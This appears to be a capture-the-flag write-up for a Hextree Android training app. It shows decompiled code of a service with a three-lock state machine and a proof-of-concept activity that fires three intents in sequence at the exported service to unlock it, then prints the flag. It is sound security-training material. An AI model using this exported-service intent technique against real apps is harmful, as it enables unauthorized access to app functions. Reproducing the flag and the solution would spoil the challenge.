Challenge Requirments
Explore the Service lifecycle
Analysis
Since the Flag25Activity is not exported and the challenge is related to services we will jump to Flag25Service directly
Flag25Service
public class Flag25Service extends Service {
public static String secret = UUID.randomUUID().toString();
boolean lock1 = false;
boolean lock2 = false;
boolean lock3 = false;
private void resetLocks() {
this.lock1 = false;
this.lock2 = false;
this.lock3 = false;
Log.i("Flag25Service", "resetting locks");
}
@Override // android.app.Service
public int onStartCommand(Intent intent, int i, int i2) {
Log.i("Flag25Service", Utils.dumpIntent(this, intent));
if (intent != null) {
if (intent.getAction().equals("io.hextree.services.UNLOCK1")) {
this.lock1 = true;
}
if (intent.getAction().equals("io.hextree.services.UNLOCK2")) {
if (this.lock1) {
this.lock2 = true;
} else {
resetLocks();
}
}
if (intent.getAction().equals("io.hextree.services.UNLOCK3")) {
if (this.lock2) {
this.lock3 = true;
} else {
resetLocks();
}
}
if (this.lock1 && this.lock2 && this.lock3) {
success();
resetLocks();
}
}
Log.i("Flag25Service", "lock1:" + this.lock1 + " lock2:" + this.lock2 + " lock3:" + this.lock3);
return super.onStartCommand(intent, i, i2);
}
private void success() {
Intent intent = new Intent(this, (Class<?>) Flag25Activity.class);
intent.putExtra("secret", secret);
intent.putExtra("lock", "lock1");
intent.putExtra("lock2", "lock3");
intent.addFlags(268468224);
intent.putExtra("hideIntent", true);
startActivity(intent);
}
@Override // android.app.Service
public IBinder onBind(Intent intent) {
throw new UnsupportedOperationException("Not yet implemented");
}
}Upon reviewing the onStartCommand we see that in order to fire success we need to send 3 services one after the other UNLOCK1 then UNLOCK2 finally UNLOCK3, pretty simple and we did something like it in Flag 4 - State Machine so let’s create the POC but with another cool way :)
Creating the POC
public class Flag25 extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_flag25);
getSupportActionBar().setTitle("Flag 25");
Button button = findViewById(R.id.button_flag25);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.v("Tensai-POC", "Getting Flag 25");
// 1. Define the Sequence of Actions
String[] actions = {
"io.hextree.services.UNLOCK1",
"io.hextree.services.UNLOCK2",
"io.hextree.services.UNLOCK3"
};
// 2. Loop through and fire them in order
for (String action : actions) {
Intent intent = new Intent();
intent.setComponent(
new ComponentName("io.hextree.attacksurface",
"io.hextree.attacksurface.services.Flag25Service"));
intent.setAction(action);
// 3. Start the service
startService(intent);
}
}
});
}
}Normally I would solve it with new Handler().postDelayed(() ...) method but this time I did it with a simple for loop and it worked!
If you tried this and it didn’t work maybe that’s because the services runs reallu quickly so try using the other method :)
Also don’t forget to keep the target app running since services don’t like closed apps!
Flag
HXT{only-one-running-service-1hasu}